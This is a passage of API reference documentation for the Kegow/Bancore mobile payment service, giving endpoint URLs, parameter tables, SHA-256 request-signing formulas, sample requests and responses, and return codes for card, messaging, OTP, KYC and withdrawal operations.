amount |
Amount to be paid in smallest monetary units |
Required |
currency |
Currency |
Required |
encKey |
Encryption key SHA-256(merchant_id+ access_token+amount+ customer_id+card_id+ merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
responseCode |
Response code from the Bill Payment provider |
Required |
transactionId |
Unique identifier of the transaction |
Required |
transactionDate |
Date of the transaction |
Required |
https://kegow.bancore.com/getit/api/mobile/creditcard/redirect.do
Parameter |
Description |
Type |
---|---|---|
merchantID |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
orderID |
Unique identifier of the transaction |
Required |
cardID |
ID of the card to be used for payment |
Required |
amount |
Amount to be paid in smallest monetary units |
Required |
currency |
Currency |
Required |
URL |
Redirect URL where user will be redirected after successful or failed payment |
Required |
encKey |
Encryption key SHA-256(merchantID+access_token+orderID+ amount+ currency+ url+ |
Required |
Parameter |
Description |
Type |
---|---|---|
responseCode |
In case of failure response code with error code will be returned |
Required |
In case of success redirect to payment gateway will be performed. Redirect will be |
https://kegow.bancore.com/getit/api/mobile/cards/setdefault.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
card_id |
ID of the card to be used for payment |
Required |
encKey |
Encryption key SHA-256(merchant_id +card_id+ access_token+ merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
errorMessage |
Error description |
Required |
https://kegow.bancore.com/getit/api/mobile/cards/setdefault.do?merchant_id=83&card_id=4738372&access_token=nMQVcZ0&encKey=5e36215a4ec37fe20b6c805628c97bf6aadf77aa9bbd73adaa4d037b1983cf1b
response:
result=30
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
415 |
WRONG_TOKEN |
Token is wrong |
https://kegow.bancore.com/getit/api/mobile/freezeThaw.do
Parameter |
Description |
Type |
---|---|---|
merchantID |
Merchant account ID |
Required |
encKey |
SHA-256(orderID+merchantID+privateKey) |
Required |
orderID |
Customer unique identifier of the transaction |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
errorMessage |
Error description |
Required |
https://kegow.bancore.com/getit/api/mobile/freezeThaw.do?merchant_id=83&card_id=4737684&status=FREEZE&access_token=nMQVcZ0&encKey=a4d5b48822324db7045e101f8d29be3d53078c17e4cebe4c542a70815845ff2e
result=30
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
415 |
WRONG_TOKEN |
Token is wrong |
https://kegow.bancore.com/getit/api/mobile/messages/create.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
phone |
Recipient’s phone number |
Required |
name |
Name of the recipient |
Required |
subject |
Subject of the the message to be sent |
Required |
text |
Body of the message |
Required |
sendSms |
True or false. Notify user with SMS. There is a charge applied for SMS notification. |
Required |
encKey |
Encryption key SHA-256(merchant_id+ phone+subject+ access_token+ merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
https://kegow.bancore.com/getit/api/mobile/messages/create.do?merchant_id=83&access_token=nMQVcZ0&name=Olga&phone=2347083692513&subject=Test&text=Test&sendSms=false&encKey=9e516185a116d5f6557655153d27a60385788f7165319e5c4e8db52544e4b8ef
result=30
https://kegow.bancore.com/getit/api/mobile/messages/list.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
encKey |
Encryption key SHA-256(merchant_id+ access_token+ merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
messages |
List of messages received by user in JSON |
Required |
errorMessage |
Error description |
Required |
https://kegow.bancore.com/getit/api/mobile/messages/list.do?merchant_id=83&access_token=I3UhohZ&encKey=4ae6071daaf319187dd6e46a8b4ef1843ea3dfd3538e9cd20758648daa2ab133
result=30&messages=[{“id”:4743352,”message”:”Tes message”,”subject”:”Hello”,”date”:”Aug 9, 2017 2:49:05 PM”,”type”:”PERSONAL”,”status”:”UNREAD”,”direction”:”INCOME”,”sender”:”2348096871651″,”recipient”:”2347056346804″,”thread”:1941,”main”:false,”spam”:false,”visible”:true}]
https://kegow.bancore.com/getit/api/mobile/checkCustomer.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
phone |
Recipient’s phone number |
Required |
encKey |
Encryption key SHA-256(merchant_id+phone+merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
firstName |
First name of the user |
Required |
lastName |
Last name of the user |
Required |
https://kegow.bancore.com/getit/api/mobile/atm/withdraw.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
phone |
Recipient’s phone number |
Required |
amount |
Amount in smallest monetary units |
Required |
currency |
Currency of the operation |
Required |
sourceCard |
Id of the source card |
Required |
orderID |
Unique identifier of the operation |
Required |
encKey |
Encryption key SHA-256(merchant_id+ phone+amount+ currency+ merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
code |
Withdrawal code |
Required |
pin |
Pin code to confirm the withdrawal |
Required |
error |
Error code |
Required |
checkSum |
Checksum |
Optional |
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
20 |
INSUFFICIENT_FUNDS |
Not enough funds for requested operation |
30 |
SUCCCESS |
Successful Payment |
60 |
INVALID_CARD |
Invalid card number. Account doesn’t exist |
90 |
INVALID_ORDERID |
OrderID must be unique |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
98 |
TRANSFER_LIMIT |
Transfer limit |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
102 |
BLOCKED_MOBILE_NUMBER |
Mobile number is blocked |
116 |
KYC_PAYMENT_LIMIT |
Payment limit is exceeded for KYC level |
302 |
POSSIBLE_FRAUD |
Suspicious Activity |
415 |
WRONG_TOKEN |
Token value is wrong |
https://kegow.bancore.com/getit/api/merchant/kyc.do
Parameter |
Description |
Type |
---|---|---|
accountID |
Provided user id. Unique 19 digits code or mobile number in international format with country code |
Required |
merchantID |
Provided merchant id |
Required |
encKey |
Encryption key. SHA-256 (accountID + merchantID + merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or fail result code |
Required |
KYC Level |
Account KYC Level. 0,1,2 – Bronze For checkSUM: 0 – NON_KYC 1 – LIMITED_KYC 2 – BASIC_KYC 3 – FULL_KYC |
Required |
checkSUM |
Encryption key. SHA- 256(accountID + kyc + merchantPrivateKey) |
Optional |
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
20 |
INSUFFICIENT_FUNDS |
Not enough funds for requested operation |
30 |
SUCCCESS |
Successful Payment |
60 |
INVALID_CARD |
Invalid card number. Account doesn’t exist |
61 |
CARD_BLOCKED |
Card blocked |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
101 |
MOBILE_NUMBER_ERROR |
Mobile number is wrong |
102 |
BLOCKED_MOBILE_NUMBER |
Mobile number is blocked |
116 |
KYC_PAYMENT_LIMIT |
Payment limit is exceeded for KYC level |
200 |
USER_IP_TRIES_EXCEEDED |
Customer has exceeded failed attempts and has been blocked |
202 |
UNEXPECTED_MERCHANT_IP |
Merchant IP is unknown |
203 |
INACTIVE_MERCHANT_ACCOUNT |
The merchant account is not active |
400 |
APPLICATION_UPDATE |
The application is not available |
https://kegow.bancore.com/getit/api/mobile/otp.do
Request Parameters
Parameter |
Description |
Type |
---|---|---|
merchantID |
Merchant account id. Provided by Bancore. |
Required |
phone |
User phone number in international format starting with country code |
Required |
encKey |
SHA256(merchantID + phone + merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Response code in case of successful transaction will be APPROVED = “30” |
required |
errorMessage |
Error message returned in case of an error |
optional |
https://kegow.bancore.com/getit/api/mobile/otp.do?merchantID=87&phone=2347083692514&encKey=07f70c9f256c2c7522ff2faa05b2587eb3ce40c400cfd196e51febde0f47e8df
response:
result=30
Return Codes
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
101 |
MOBILE_NUMBER_ERROR |
Mobile number is wrong |
https://kegow.bancore.com/getit/api/mobile/checkToc.do
Parameter |
Description |
Type |
---|---|---|
Parameter |
Description |
Type |
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
encKey |
SHA256(merchantID + merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Response code in case of successful transaction will be APPROVED = “30” |
required |
tocAccepted |
Identifies if user has accepted Terms and Conditions |
required |
tocAcceptedDate |
Date when Terms and Conditions were accepted by user |
required |
https://kegow.bancore.com/getit/api/mobile/checkToc.do?merchant_id=87&access_token=epFOCrv&encKey=801430fceba831612be198e4270b1de18bf9d70e186573c561bddf610683afad
response:
result=30&tocAccepted=true&tocAcceptedDate=null
Return Codes
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
https://kegow.bancore.com/getit/api/mobile/withdrawservice.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
country |
Service available in the specific Country. |
Required |
encKey |
Encryption key. SHA-256(merchant_id+merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
services |
List of services for the specified country id – id number of the service |
Required |
https://kegow.bancore.com/getit/api/mobile/withdrawservice.do?access_token=epFOCrv&merchant_id=87&country=Nigeria&encKey=801430fceba831612be198e4270b1de18bf9d70e186573c561bddf610683afad
response:
result=30&services=[{“id”:4739865,”type”:”B2C_SERVICES”,”visible”:true,”visibleForCountries”:[{“country”:”ng”}],”accessForCountries”:[{“country”:”ng”}],”name”:”b2c.customer.console.buttons.giro”,”url”:”/b2c/quickteller/bill/call.do“,”sortNumber”:0,”template”:”u003ca hrefu003du0027{uri}u0027 classu003du0027{class}u0027u003eu003cspan classu003d”icon-menu icon-basket”u003eu003c/spanu003e{name}u003c/au003e”,”roles”:”/b2c/quickteller/bill/call”,”kyc”:”NON_KYC”},{“id”:4739866,”type”:”B2C_SERVICES”,”visible”:true,”visibleForCountries”:[{“country”:”ng”}],”accessForCountries”:[{“country”:”ng”}],”name”:”b2c.giftCard.call”,”url”:”/b2c/giftCard/call.do”,”sortNumber”:0,”template”:”u003ca hrefu003du0027{uri}u0027 classu003du0027{class}u0027u003eu003cspan classu003d”icon-menu icon-bill-forward”u003eu003c/spanu003e{name}u003c/au003e”,”kyc”:”NON_KYC”},{“id”:4710393,”type”:”B2C_SERVICES”,”visible”:true,”visibleForCountries”:[{“country”:”ng”}],”accessForCountries”:[{“country”:”ng”}],”name”:”b2c.withdrawRequest.title”,”url”:”/b2c/withdraw/request/call.do”,”sortNumber”:2,”template”:”u003ca hrefu003du0027{uri}u0027 classu003du0027{class}u0027u003eu003cspan classu003d”icon-menu icon-atm”u003eu003c/spanu003e{name}u003c/au003e”,”roles”:”/b2c/withdraw/request/call”,”kyc”:”NON_KYC”},{“id”:3756411,”type”:”B2C_S]
Return Codes
Parameter |
Description |
Type |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
101 |
MOBILE_NUMBER_ERROR |
Mobile number is wrong |
https://kegow.bancore.com/getit/api/mobile/card/image.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
card_id |
Unique identifier of the card |
Required |
encKey |
Encryption key. SHA-256(merchant_id+ card_id+ access_token+ merchantPrivateKey) |
Required |
/WEB-INF/pages/card/image/cardImage.jsp
Return Codes
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
102 |
BLOCKED_MOBILE_NUMBER |
Mobile number is blocked |
https://kegow.bancore.com/getit/api/mobile/cards/order.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
sourceCard |
ID of the card to be used for payment |
Required |
amount |
Amount to be paid in smallest monetary units |
Required |
currency |
Currency of the card |
Required |
type |
VIRTUAL or PLASTIC |
|
encKey |
Encryption key SHA-256(merchant_id+access_token+amount+ sourceCard+merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure |
Required |
transactionID |
Identifier of the transaction |
Required |
Return Codes
Parameter |
Description |
Type |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
20 |
INSUFFICIENT_FUNDS |
Not enough funds for requested operation |
30 |
SUCCCESS |
Successful Payment |
60 |
INVALID_CARD |
Invalid card number. Account doesn’t exist |
61 |
CARD_BLOCKED |
Card blocked |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
101 |
MOBILE_NUMBER_ERROR |
Mobile number is wrong |
102 |
BLOCKED_MOBILE_NUMBER |
Mobile number is blocked |
116 |
KYC_PAYMENT_LIMIT |
Payment limit is exceeded for KYC level |
200 |
USER_IP_TRIES_EXCEEDED |
Customer has exceeded failed attempts and has been blocked |
202 |
UNEXPECTED_MERCHANT_IP |
Merchant IP is unknown |
203 |
INACTIVE_MERCHANT_ACCOUNT |
The merchant account is not active |
400 |
APPLICATION_UPDATE |
The application is not available |
415 |
WRONG_TOKEN |
Token value is wrong |
https://kegow.bancore.com/getit/api/merchant/calculatelimit.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Provided merchant id |
Required |
access_token |
Unique identifier of the card |
Required |
encKey |
Encryption key. SHA-256(merchant_id+merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or fail result code |
Required |
rest |
Remaining amount in smallest monetary units |
Required |
https://kegow.bancore.com/getit/api/merchant/calculatelimit.do?access_token=AsDVgky&merchant_id=83&encKey=14a2f2c366aba54fb9b70d597c22aa412ec7b3d3c22b579ff248b781ea70bb63
response:
result=30&rest=2610
Return Codes
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
20 |
INSUFFICIENT_FUNDS |
Not enough funds for requested operation |
30 |
SUCCCESS |
Successful Payment |
60 |
INVALID_CARD |
Invalid card number. Account doesn’t exist |
61 |
CARD_BLOCKED |
Card blocked |
90 |
INVALID_ORDERID |
OrderID must be unique |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
101 |
MOBILE_NUMBER_ERROR |
Mobile number is wrong |
102 |
BLOCKED_MOBILE_NUMBER |
Mobile number is blocked |
103 |
PIN_ERROR |
PIN code is wrong |
113 |
CARDID_TOKEN_WRONG |
Card id differs from account represented by token |
116 |
KYC_PAYMENT_LIMIT |
Payment limit is exceeded for KYC level |
150 |
VIRTUALCARD_LIMIT_EXCEEDED |
Virtual cards limit is excceeded |
151 |
PLASTICCARD_LIMIT_EXCEEDED |
Plastic cards limit is excceeded |
200 |
USER_IP_TRIES_EXCEEDED |
Customer has exceeded failed attempts and has been blocked |
202 |
UNEXPECTED_MERCHANT_IP |
Merchant IP is unknown |
203 |
DEACTIVE_MERCHANT_ACCOUNT |
The merchant account is not active |
300 |
FEE_NOT_FOUND |
Fee value not available |
400 |
APPLICATION_UPDATE |
The application is not available |
415 |
WRONG_TOKEN |
Token value is wrong |
420 |
BANK_TRANSFER_FAILED |
Transfer to bank failed |
<span style=”letter-spacing: 1px; font-weight: 600; font-size: 15px;”>GET THE BROCHURE</span> <span style=”color: #a3a9f6;”>Download the pdf file of latest update for this service.</span>
Please feel free to <a href=”/contact-2″>contact us</a>. We will get back to you with 1-2 business days. Or just call us now
<span style=”font-size: 17px;”> <a href=”callto:+4570223969″>+45-7022-3969</a></span>
<span style=”font-size: 17px;”> <a href=”mailto:info@bancore.com”>info@bancore.com</a></span>
Analytical cookies are used to understand how visitors interact with the website. These cookies help provide information on metrics the number of visitors, bounce rate, traffic source, etc.